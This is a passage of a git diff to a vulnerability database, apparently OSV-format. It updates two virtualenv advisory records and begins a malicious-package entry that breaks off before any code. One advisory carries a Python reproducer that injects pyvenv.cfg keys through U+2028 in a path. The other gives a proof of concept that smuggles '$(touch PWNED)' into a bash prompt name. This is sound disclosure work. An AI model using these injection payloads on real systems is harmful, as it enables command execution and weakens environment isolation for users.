","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-qmx5-4p3x-wvqf/GHSA-qmx5-4p3x-wvqf.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113715"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3426"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-93"],"github_reviewed":true,"github_reviewed_at":"2026-10-23T22:20:43Z","nvd_published_at":"2026-10-20T20:17:17Z","severity":"LOW"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-qmx5-4p3x-wvqf","published":"2026-10-23T22:20:43Z","modified":"2026-11-18T12:10:44.781421503Z","aliases":["BIT-virtualenv-2026-113715","CVE-2026-113715","PYSEC-2026-4374"],"summary":"virtualenv: Venv configuration readback can reinterpret path boundaries","details":"## Summary\n\nThe venv creator reads the standard library's generated pyvenv.cfg with splitlines() and merges all resulting keys over\nvirtualenv's configuration. Line-boundary characters from destination data can therefore become configuration structure\nbefore output sanitization.\n\nAnthropic's OSS Scanner reported this as `ANT-2026-6ZQHJ6VI` in `virtualenv-20261015-005`, received on 15 October 2026.\n\n## Affected area\n\nConfiguration readback by the stdlib venv creator.\n\n## Attacker-controlled input\n\nAn untrusted caller must influence the destination pathname passed to the venv creator. That pathname must contain a\ncharacter that Python treats as a line boundary. The builtin creator follows a different configuration-writing path.\n\n## Affected code\n\nThe relevant 21.14.8 source is in\n[venv readback](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/via_global_ref/venv.py),\n[configuration parser](https://github.com/pypa/virtualenv/blob/a795ab116356afde11039cf2763d77e8a06da738/src/virtualenv/create/pyenv_cfg.py).\n\n## Mechanism\n\nWith `--creator venv`, virtualenv asks the standard library to create an environment, reads its `pyvenv.cfg` with\n`str.splitlines()`, and merges the parsed keys over virtualenv's chosen settings. CPython writes the destination into a\n`command =` value without escaping every character that `splitlines()` recognizes as a line boundary. A destination\ncontaining U+2028, for example, can therefore supply new `home` and `include-system-site-packages` keys during readback.\nVirtualenv writes those keys as real configuration lines. The builtin creator does not use this readback path.\n\n## Reproduction and evidence\n\nThe scanner used one destination value with U+2028 between `home = /attacker/chosen`,\n`include-system-site-packages = true`, and an absorbing `x =` key. A `python -m venv --without-pip` control kept the\nvalue inside its `command` line and reported the base interpreter's `sys._home`. `virtualenv --creator venv --no-seed`\non the same value wrote separate injected configuration lines and its interpreter reported\n`sys._home = /attacker/chosen`. The path did not require a literal newline byte. The control establishes that the extra\nkeys came from virtualenv's readback, not from the standard library's initial file alone.\n\nThe altered `home` can change which standard-library files the interpreter loads if an attacker also controls that\nlocation; `include-system-site-packages = true` weakens environment isolation. Choosing the venv creator is required,\neither explicitly or through a rare fallback. The report traces the readback to the 20.x rewrite, first released in\n20.0.0b1. [PR #3426](https://github.com/pypa/virtualenv/pull/3426) rejects line-boundary characters before creation and\nrebuilds the final configuration from selected settings.\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n participant A as Destination supplier\n participant S as stdlib venv\n participant V as virtualenv readback\n participant C as Final pyvenv.cfg\n participant P as Environment Python\n A->>S: path contains U+2028 and home = /attacker/chosen\n S->>C: write path inside command value\n V->>C: read with splitlines()\n V->>V: parse suffix as separate keys\n V->>C: rewrite home and include-system-site-packages\n P->>C: read injected keys on startup\n C-->>P: sys._home changes and isolation is disabled\n```\n\n## Reproducer files\n\nThe following files are from the scanner report for `ANT-2026-6ZQHJ6VI`. They were tested against commit `a857a7823c73`\nin the scanner image. The `repro` entrypoint expects companion files under `/tmp/repro.d`; cases that change user IDs\nneed a disposable root-capable container. The last output line is `BUG` when the reported behavior occurs. These files\nare included as evidence and were not rerun for this advisory update.\n\n**`repro`**\n\n```text\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\n\nwork = \"/tmp/repro-venv-creator-cfg\"\nshutil.rmtree(work, ignore_errors=True)\n\n# the attacker's input: the text of a destination path.\n# U+2028 ends a line for str.splitlines() but not for CPython's own pyvenv.cfg reader.\n# The slashes only make nested directories; the last key, x, absorbs the rest of the path.\nLS = \"\\u2028\"\ndest = f\"{work}/proj{LS}home = /attacker/chosen{LS}include-system-site-packages = true{LS}x = /env\"\n\nbase_python = os.path.realpath(shutil.which(\"python\"))\nreal_home = os.path.dirname(base_python)\n\n\ndef pyvenv_cfg_lines(env):\n # split on \"\\n\" only, as the interpreter does\n return open(f\"{env}/pyvenv.cfg\", encoding=\"utf-8\").read().split(\"\\n\")\n\n\ndef sys_home(env):\n # site.py sets sys._home from the `home` key of the environment's pyvenv.cfg\n probe = [f\"{env}/bin/python\", \"-c\", \"import sys; print(sys._home)\"]\n return subprocess.run(probe, capture_output=True, text=True, check=True).stdout.strip()\n\n\n# control: the same path through the standard library alone\nstdlib_env = dest + \"-stdlib\"\nsubprocess.run([base_python, \"-m\", \"venv\", \"--without-pip\", stdlib_env], check=True)\n\n# attack: the same path through virtualenv; --creator venv is the one non-default option\nvirtualenv_env = dest + \"-virtualenv\"\ncreated = subprocess.run([\"virtualenv\", \"--quiet\", \"--no-periodic-update\", \"--no-seed\", \"--creator\", \"venv\", virtualenv_env])\nif created.returncode != 0: # refusing such a destination is a valid fix\n print(\"virtualenv refused the destination\")\n print(\"OK\")\n raise SystemExit\n\n# check\nstdlib_cfg, stdlib_home = pyvenv_cfg_lines(stdlib_env), sys_home(stdlib_env)\nvirtualenv_cfg, virtualenv_home = pyvenv_cfg_lines(virtualenv_env), sys_home(virtualenv_env)\n\nprint(\"CONTROL python -m venv wrote pyvenv.cfg:\")\nfor line in stdlib_cfg:\n print(\" \" + ascii(line))\nprint(f\"CONTROL python -m venv: sys._home = {stdlib_home}\")\nprint(\"OBSERVED virtualenv --creator venv wrote pyvenv.cfg:\")\nfor line in virtualenv_cfg:\n print(\" \" + ascii(line))\nprint(f\"OBSERVED virtualenv --creator venv: sys._home = {virtualenv_home}\")\n\nkeys_injected = \"home = /attacker/chosen\" in virtualenv_cfg and \"include-system-site-packages = true\" in virtualenv_cfg\nprint(\"BUG\" if stdlib_home == real_home and keys_injected and virtualenv_home == \"/attacker/chosen\" else \"OK\")\n```\n\n## Impact\n\nDestination path data can change configuration boundaries and therefore environment settings. The effect depends on\nwhich settings change and how the environment is subsequently used.\n\nSeverity: low.\n\n## Versions tested\n\nThe confirmed release is 21.14.8. The affected range records that release only; it does not establish the first affected\nversion or exclude earlier releases. Fixed in 21.14.9.\n\nThe fix rejects line boundaries in the supplied destination before filesystem access and checks the resolved\npath again before invoking stdlib venv. The final configuration is rebuilt from the selected interpreter and virtualenv\noptions, without merging the intermediate stdlib file or its vendor-specific keys. Ordinary destination paths remain\nsupported.\n\nFix: [PR #3426](https://github.com/pypa/virtualenv/pull/3426).\n\n## Known mitigation\n\nReject line-boundary characters in externally supplied destination paths, or use the builtin creator where supported.\n\n## Affected release\n\n- [x] The problem reproduces on virtualenv 21.14.8.\n\n## Credits\n\nReported by Anthropic's OSS Scanner as ANT-2026-6ZQHJ6VI.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.9"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.14.7","21.14.8","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-qmx5-4p3x-wvqf/GHSA-qmx5-4p3x-wvqf.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-qmx5-4p3x-wvqf"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113715"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/pull/3426"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/b0008a58885ded9227faf8f910c6c402712c750a"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.9"}],"database_specific":{"cwe_ids":["CWE-93"],"github_reviewed":true,"github_reviewed_at":"2026-10-23T22:20:43Z","nvd_published_at":"2026-10-20T20:17:17Z","severity":"LOW"},"severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:H/AT:P/PR:N/UI:P/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N"}]} \ No newline at end of file diff --git a/data/PyPI/GHSA-vxj4-q4g9-crj7.json b/data/PyPI/GHSA-vxj4-q4g9-crj7.json index 33ecd7894a..449a6ee2d1 100644 --- a/data/PyPI/GHSA-vxj4-q4g9-crj7.json +++ b/data/PyPI/GHSA-vxj4-q4g9-crj7.json @@ -1 +1 @@ -{"schema_version":"1.9.0","id":"GHSA-vxj4-q4g9-crj7","published":"2026-10-21T16:49:01Z","modified":"2026-10-29T10:55:53.696944055Z","aliases":["BIT-virtualenv-2026-113725","CVE-2026-113725"],"summary":"virtualenv bash activate runs commands from an environment name with a backslash before $","details":"### Summary\n\nThe bash `activate` script escapes the environment name for only one of the two passes bash makes over `PS1`, so a\nbackslash in the name undoes the escaping and a name containing `\\$(...)` runs as commands in the user's shell each\ntime bash draws the prompt.\n\n### Affected area\n\n`src/virtualenv/activation/bash/activate.sh`, the block that prepends the environment name to `PS1`.\n\n### Attacker-controlled input\n\nThe environment name: the environment directory's name, or the `--prompt` or `VIRTUALENV_PROMPT` value. An attacker\nneeds to influence it, for example through a CI job or wrapper tool that passes a branch, project or job name through,\nor a directory in a cloned repository or unpacked archive. `--prompt .` takes the current directory's name.\n\n### Details\n\nbash handles `PS1` in two passes each time it draws the prompt: it first decodes backslash prompt escapes, turning `\\\\`\ninto `\\` and `\\$` into `$` (or `#` for root), and then runs parameter expansion, command substitution and arithmetic\nexpansion on the result. Since 21.13.0 the script escapes backslashes, dollar signs and backticks in the name, but only\nfor the second pass, so the decode pass strips the escaping that a backslash in the name precedes. Releases before\n21.13.0 do not escape the name at all. A bash running as root decodes `\\$` to `#`, so the payload shows the wrong text\nthere but runs nothing. zsh does no decode pass and is not affected.\n\n### Proof of concept\n\n```console\n$ virtualenv --prompt 'a\\$(touch PWNED)' env\n$ bash --norc --noprofile -c 'source env/bin/activate; printf \"%s\" \"${PS1@P}\"'\n$ ls PWNED\nPWNED\n```\n\n### Impact\n\nArbitrary command execution in the shell of a user who sources the `activate` script of an environment whose name an\nattacker influenced, with that user's privileges, once per prompt draw.\n\n### Versions tested\n\n21.14.6 with bash 5.2.15 on Debian bookworm, as an unprivileged user and as root.\n\n### Known mitigation\n\nSet `VIRTUAL_ENV_DISABLE_PROMPT=1` before you source `activate`, which leaves `PS1` alone, or run `shopt -u promptvars`\nif your prompt does not need expansion. Check the name of an environment you did not create before you source its\n`activate`.\n\n### Latest release\n\n- [x] The problem reproduces on the latest virtualenv release.\n\n21.14.6\n\n### Patches\n\nFixed in 21.14.7. Under bash, `activate` now escapes backslashes, dollar signs and backticks for both passes, so the\nexample above runs nothing and the prompt shows the name as given. zsh keeps the single escaping it needs.\nFix: https://github.com/pypa/virtualenv/commit/c3104e02474b652832a9bbaae79f6e1696296932\n\n### Credits\n\nFound while running the virtualenv test suite as root inside the Anthropic OSS Scanner build image.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.7"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"last_known_affected_version_range":"<= 21.14.6","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-vxj4-q4g9-crj7/GHSA-vxj4-q4g9-crj7.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-vxj4-q4g9-crj7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113725"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/c3104e02474b652832a9bbaae79f6e1696296932"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.7"}],"database_specific":{"cwe_ids":["CWE-116","CWE-78"],"github_reviewed":true,"github_reviewed_at":"2026-10-21T16:49:01Z","nvd_published_at":"2026-10-20T20:17:19Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]} \ No newline at end of file +{"schema_version":"1.9.0","id":"GHSA-vxj4-q4g9-crj7","published":"2026-10-21T16:49:01Z","modified":"2026-11-18T12:10:58.337631692Z","aliases":["BIT-virtualenv-2026-113725","CVE-2026-113725","PYSEC-2026-4384"],"summary":"virtualenv bash activate runs commands from an environment name with a backslash before $","details":"### Summary\n\nThe bash `activate` script escapes the environment name for only one of the two passes bash makes over `PS1`, so a\nbackslash in the name undoes the escaping and a name containing `\\$(...)` runs as commands in the user's shell each\ntime bash draws the prompt.\n\n### Affected area\n\n`src/virtualenv/activation/bash/activate.sh`, the block that prepends the environment name to `PS1`.\n\n### Attacker-controlled input\n\nThe environment name: the environment directory's name, or the `--prompt` or `VIRTUALENV_PROMPT` value. An attacker\nneeds to influence it, for example through a CI job or wrapper tool that passes a branch, project or job name through,\nor a directory in a cloned repository or unpacked archive. `--prompt .` takes the current directory's name.\n\n### Details\n\nbash handles `PS1` in two passes each time it draws the prompt: it first decodes backslash prompt escapes, turning `\\\\`\ninto `\\` and `\\$` into `$` (or `#` for root), and then runs parameter expansion, command substitution and arithmetic\nexpansion on the result. Since 21.13.0 the script escapes backslashes, dollar signs and backticks in the name, but only\nfor the second pass, so the decode pass strips the escaping that a backslash in the name precedes. Releases before\n21.13.0 do not escape the name at all. A bash running as root decodes `\\$` to `#`, so the payload shows the wrong text\nthere but runs nothing. zsh does no decode pass and is not affected.\n\n### Proof of concept\n\n```console\n$ virtualenv --prompt 'a\\$(touch PWNED)' env\n$ bash --norc --noprofile -c 'source env/bin/activate; printf \"%s\" \"${PS1@P}\"'\n$ ls PWNED\nPWNED\n```\n\n### Impact\n\nArbitrary command execution in the shell of a user who sources the `activate` script of an environment whose name an\nattacker influenced, with that user's privileges, once per prompt draw.\n\n### Versions tested\n\n21.14.6 with bash 5.2.15 on Debian bookworm, as an unprivileged user and as root.\n\n### Known mitigation\n\nSet `VIRTUAL_ENV_DISABLE_PROMPT=1` before you source `activate`, which leaves `PS1` alone, or run `shopt -u promptvars`\nif your prompt does not need expansion. Check the name of an environment you did not create before you source its\n`activate`.\n\n### Latest release\n\n- [x] The problem reproduces on the latest virtualenv release.\n\n21.14.6\n\n### Patches\n\nFixed in 21.14.7. Under bash, `activate` now escapes backslashes, dollar signs and backticks for both passes, so the\nexample above runs nothing and the prompt shows the name as given. zsh keeps the single escaping it needs.\nFix: https://github.com/pypa/virtualenv/commit/c3104e02474b652832a9bbaae79f6e1696296932\n\n### Credits\n\nFound while running the virtualenv test suite as root inside the Anthropic OSS Scanner build image.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"21.14.7"}]}],"versions":["0.8","0.8.1","0.8.2","0.8.3","0.8.4","0.9","0.9.1","0.9.2","1.0","1.1","1.10","1.10.1","1.11","1.11.1","1.11.2","1.11.3","1.11.4","1.11.5","1.11.6","1.2","1.3","1.3.1","1.3.2","1.3.3","1.3.4","1.4","1.4.1","1.4.2","1.4.3","1.4.4","1.4.5","1.4.6","1.4.7","1.4.8","1.4.9","1.4rc1","1.5","1.5.1","1.5.2","1.6","1.6.1","1.6.2","1.6.3","1.6.4","1.7","1.7.1","1.7.1.1","1.7.1.2","1.7.2","1.8","1.8.1","1.8.2","1.8.3","1.8.4","1.9","1.9.1","12.0","12.0.1","12.0.2","12.0.4","12.0.5","12.0.6","12.0.7","12.1.0","12.1.1","13.0.0","13.0.1","13.0.2","13.0.3","13.1.0","13.1.1","13.1.2","14.0.0","14.0.1","14.0.2","14.0.3","14.0.4","14.0.5","14.0.6","15.0.0","15.0.1","15.0.2","15.0.3","15.1.0","15.2.0","16.0.0","16.1.0","16.2.0","16.3.0","16.3.1.dev0","16.4.0","16.4.1","16.4.3","16.4.4.dev0","16.5.0","16.6.0","16.6.1","16.6.2","16.7.0","16.7.1","16.7.10","16.7.11","16.7.12","16.7.2","16.7.3","16.7.4","16.7.5","16.7.6","16.7.7","16.7.8","16.7.9","20.0.0","20.0.0b1","20.0.0b2","20.0.1","20.0.10","20.0.11","20.0.12","20.0.13","20.0.14","20.0.15","20.0.16","20.0.17","20.0.18","20.0.19","20.0.2","20.0.20","20.0.21","20.0.22","20.0.23","20.0.24","20.0.25","20.0.26","20.0.27","20.0.28","20.0.29","20.0.3","20.0.30","20.0.31","20.0.32","20.0.33","20.0.34","20.0.35","20.0.4","20.0.5","20.0.6","20.0.7","20.0.8","20.0.9","20.1.0","20.10.0","20.11.0","20.11.1","20.11.2","20.12.0","20.12.1","20.13.0","20.13.1","20.13.2","20.13.3","20.13.4","20.14.0","20.14.1","20.15.0","20.15.1","20.16.0","20.16.1","20.16.2","20.16.3","20.16.4","20.16.5","20.16.6","20.16.7","20.17.0","20.17.1","20.18.0","20.19.0","20.2.0","20.2.1","20.2.2","20.20.0","20.21.0","20.21.1","20.22.0","20.23.0","20.23.1","20.24.0","20.24.1","20.24.2","20.24.3","20.24.4","20.24.5","20.24.6","20.24.7","20.25.0","20.25.1","20.25.2","20.25.3","20.26.0","20.26.1","20.26.2","20.26.3","20.26.4","20.26.5","20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.3.0","20.3.1","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","20.4.0","20.4.1","20.4.2","20.4.3","20.4.4","20.4.5","20.4.6","20.4.7","20.5.0","20.6.0","20.7.0","20.7.1","20.7.2","20.8.0","20.8.1","20.9.0","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.14.2","21.14.3","21.14.4","21.14.5","21.14.6","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"database_specific":{"last_known_affected_version_range":"<= 21.14.6","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/10/GHSA-vxj4-q4g9-crj7/GHSA-vxj4-q4g9-crj7.json"}}],"references":[{"type":"WEB","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-vxj4-q4g9-crj7"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113725"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/commit/c3104e02474b652832a9bbaae79f6e1696296932"},{"type":"PACKAGE","url":"https://github.com/pypa/virtualenv"},{"type":"WEB","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.7"}],"database_specific":{"cwe_ids":["CWE-116","CWE-78"],"github_reviewed":true,"github_reviewed_at":"2026-10-21T16:49:01Z","nvd_published_at":"2026-10-20T20:17:19Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/PyPI/MAL-2026-20120.json b/data/PyPI/MAL-2026-20120.json new file mode 100644 index 0000000000..f9733e388a --- /dev/null +++ b/data/PyPI/MAL-2026-20120.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"MAL-2026-20120","published":"2026-11-18T09:20:22Z","modified":"2026-11-18T09:45:04.338446628Z","summary":"Malicious code in qimsdk-app-builder (PyPI)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: kam193 